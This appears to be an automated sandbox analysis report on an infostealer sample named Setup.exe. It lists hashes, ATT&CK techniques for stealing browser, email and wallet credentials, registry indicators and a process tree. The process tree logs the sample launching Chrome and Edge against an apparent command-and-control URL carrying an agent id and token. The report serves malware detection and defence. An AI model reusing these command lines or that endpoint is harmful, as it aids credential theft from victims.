6fd0c7b03b53ba0a9c59145888aa1eefe2dfd87233074f2c226ffd4dfff2f022

Resubmissions

02/08/2026, 22:34

260802-2hdffsgn8s7

02/08/2026, 22:32

260802-2f4vmagn717

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 22:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 3.2MB
Sample260802-2hdffsgn8s
SHA256 6fd0c7b03b53ba0a9c59145888aa1eefe2dfd87233074f2c226ffd4dfff2f022
MD5 d597b63f12bf7b1ce35454e575cca055
SHA1 67e24f1591e67960509c24d95d5646ee0210d3d7
SHA512 4d787361b139bfff729695a4301a2cdbf43c64f5e4a45d52d58e71dfdac32dfc163195ea6ba715e0f5873b479154ef2fd03af2a054c74c968fa0c7794011913d
SSDEEP 49152:iNOnxS0kx8W+7z4mAwGfEy20JIT+ZRY5hUwbQS0:wixS0kx+7h+Zz/S
TLSH
T1EEF55C02FEC784F6D5476A3594EB627F2338A9040B35D753EF443ABAE9772920833649
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery spyware stealer

Malware Config

Signatures

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1028	msedge.exe
5032	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134301837306150178"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{761DCD93-2DAE-496B-813D-91BF0732CE63}	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
1036	chrome.exe
1036	chrome.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe
3612	Setup.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
4648	msedge.exe
4648	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe
Token: SeShutdownPrivilege	1036	chrome.exe
Token: SeCreatePagefilePrivilege	1036	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
1036	chrome.exe
4648	msedge.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 1036	3612	Setup.exe	98
PID 1036 wrote to memory of 5580	1036	chrome.exe	99
PID 1036 wrote to memory of 5360	1036	chrome.exe	100
PID 1036 wrote to memory of 5360	1036	chrome.exe	100
PID 1036 wrote to memory of 5032	1036	chrome.exe	101
PID 1036 wrote to memory of 3372	1036	chrome.exe	102
PID 1036 wrote to memory of 3372	1036	chrome.exe	102
PID 1036 wrote to memory of 3336	1036	chrome.exe	103
PID 1036 wrote to memory of 1772	1036	chrome.exe	104
PID 1036 wrote to memory of 3336	1036	chrome.exe	103
PID 1036 wrote to memory of 1772	1036	chrome.exe	104
PID 1036 wrote to memory of 5256	1036	chrome.exe	106
PID 1036 wrote to memory of 5256	1036	chrome.exe	106
PID 1036 wrote to memory of 1756	1036	chrome.exe	110
PID 3612 wrote to memory of 4648	3612	Setup.exe	112
PID 4648 wrote to memory of 1124	4648	msedge.exe	113
PID 4648 wrote to memory of 4952	4648	msedge.exe	114
PID 4648 wrote to memory of 1028	4648	msedge.exe	115
PID 4648 wrote to memory of 4952	4648	msedge.exe	114
PID 4648 wrote to memory of 4952	4648	msedge.exe	114
PID 4648 wrote to memory of 4972	4648	msedge.exe	116
PID 4648 wrote to memory of 4972	4648	msedge.exe	116
PID 4648 wrote to memory of 5840	4648	msedge.exe	117
PID 4648 wrote to memory of 5840	4648	msedge.exe	117
PID 4648 wrote to memory of 4440	4648	msedge.exe	118
PID 4648 wrote to memory of 5840	4648	msedge.exe	117
PID 4648 wrote to memory of 4440	4648	msedge.exe	118
PID 4648 wrote to memory of 4440	4648	msedge.exe	118
PID 4648 wrote to memory of 5836	4648	msedge.exe	122
PID 4648 wrote to memory of 5836	4648	msedge.exe	122
PID 4648 wrote to memory of 1492	4648	msedge.exe	124
PID 4648 wrote to memory of 1492	4648	msedge.exe	124
PID 4648 wrote to memory of 2600	4648	msedge.exe	123
PID 4648 wrote to memory of 2600	4648	msedge.exe	123
PID 4648 wrote to memory of 5604	4648	msedge.exe	126

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=75DC69B3BD24956701AEC7B30ADF174C&token=af9cb17087ae2e46259e500feebc8ab0b4861a20744fdf&description=&agent=Chrome
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcdc71c728,0x7ffcdc71c734,0x7ffcdc71c740
    3⤵
    PID:5580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,2518139510456555068,11512254531224799263,262144 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:5360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,3783319491948236522,8339145253934236049,524288 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1572 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,17896522310944845223,16248958812744176525,524288 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2424 /prefetch:8
    3⤵
    PID:3372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2984,i,10893711425277875872,6082611847911948219,2097152 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3076 /prefetch:1
    3⤵
    PID:3336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2956,i,8067489455693101780,12197294496930813533,2097152 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4196,i,17069639747238008023,5741039679096029179,2097152 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4212 /prefetch:2
    3⤵
    PID:5256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5224,i,7320683960660898900,14071857344190981231,524288 --field-trial-handle=1920,i,15439247030268748327,7299477825406568908,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5220 /prefetch:8
    3⤵
    PID:1756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" bizsmmit.cyou/api/set_agent?id=75DC69B3BD24956701AEC7B30ADF174C&token=af9cb17087ae2e46259e500feebc8ab0b4861a20744fdf&description=&agent=Edge
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffcdd1cc188,0x7ffcdd1cc194,0x7ffcdd1cc1a0
    3⤵
    PID:1124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1732,i,15429536976651568857,18069836363497775819,262144 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:2
    3⤵
    PID:4952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,9742324671110054335,10536451831849192744,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2496,i,11482373185289037977,16345731018126203740,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:8
    3⤵
    PID:4972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3428,i,7224679505500256173,2338341002737492037,2097152 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:5840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3432,i,12686676989869231067,16473347069838966079,2097152 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
    3⤵
    PID:4440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4140,i,2237318329473407209,1171238960925206760,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:8
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5024,i,15266649717394352267,16486507996046030061,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:8
    3⤵
    PID:2600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,9877851718474768171,5003128384433668542,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:8
    3⤵
    PID:1492
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,16957474599538313989,4439031362233640958,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
    3⤵
    PID:3684
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,16957474599538313989,4439031362233640958,524288 --field-trial-handle=2312,i,14257299754845198559,7928430094181624038,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
    3⤵
    PID:5604

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3720

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 230171793b469d1948b7bf091735a7be20c295d7b8a5c811a58066f5cef39a42
MD5 9a63347cdada989d058ba107cd5e4970
SHA1 09164fb56f01f12fa569b512ecd5780c7caa5082
SHA512 cae2e2879e3946c92312aa0dab1ca54c99d7fb599930645a04e9cc13ecb5e4eddf9dbc4dbbb398c597029fdec5cbbf03571dc8cf8659e9daad735d3a5ac10bf8
TLSH
T18BE02BADD962DC770DFD079C91510746E65513173640849F3A3C94194FF563B534685C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 40cd57871a56f9e72d4a8d5754090daa385328c6403311a76e8abc0ab9e5ae03
MD5 b1a12e28f32c0af2dcedf2e56801e648
SHA1 2f48fc61317c5703795c1bbff9114d2dfe531263
SHA512 3e150939c9d976886f06dbab47cb13398636c598b92bb332c309322c998a2b481accedf30172cf89538ef3686ede4279fe666a01aaf7bed4ce6ae12d4919421f
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OlDpX6jq+UVumLvmwkc:jeuvBnhJsueMEGvIW1DcP2OjPVumqnc
TLSH
T18FD3874B3A743002EDE59A726CE050BB5E3CB16D4F55A5D428B620688EF2953B23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 f69c3526abe8908954fef3f0440b15f5ec473bb0f92f8a516b5e003076b13d54
MD5 9d0120d6f2fbe633f91fa3fe2b65f8a7
SHA1 083812369df6745b8947bb6491efa66c77418ef9
SHA512 9f5f835a6f317eeb7614cb0c0d8bb73a53cea4530d06efe9b91af4e12f4dd1a9bff614652c7ad1030f24090b3e249cc628794806d97e7902cb41070c65324d38
SSDEEP 3072:4Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrM3:zm7Rkm1tYpBeh2BAo3
TLSH
T113C312275E71E9375D79AB0EB08E0B1F1EF14AA6C930DE92C8D86A0437E97CC0A04934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 216d6ebb606a59195311c6a904b601df28aa5059b10cf24ed7af8ab8de67c225
MD5 0e9d0e80f4dd3d48c88228b8d42caab2
SHA1 0ee243e54e686ff9ba8fecfea373a94412b6f269
SHA512 1cbd38815f2b9588675e6a9ef0d9d59c505d733523dd4cf2468c5fb624f620abec7a0e3e453545385293f406e1638e7b11788c9ab672b485aeaf31fa6cca1c0e
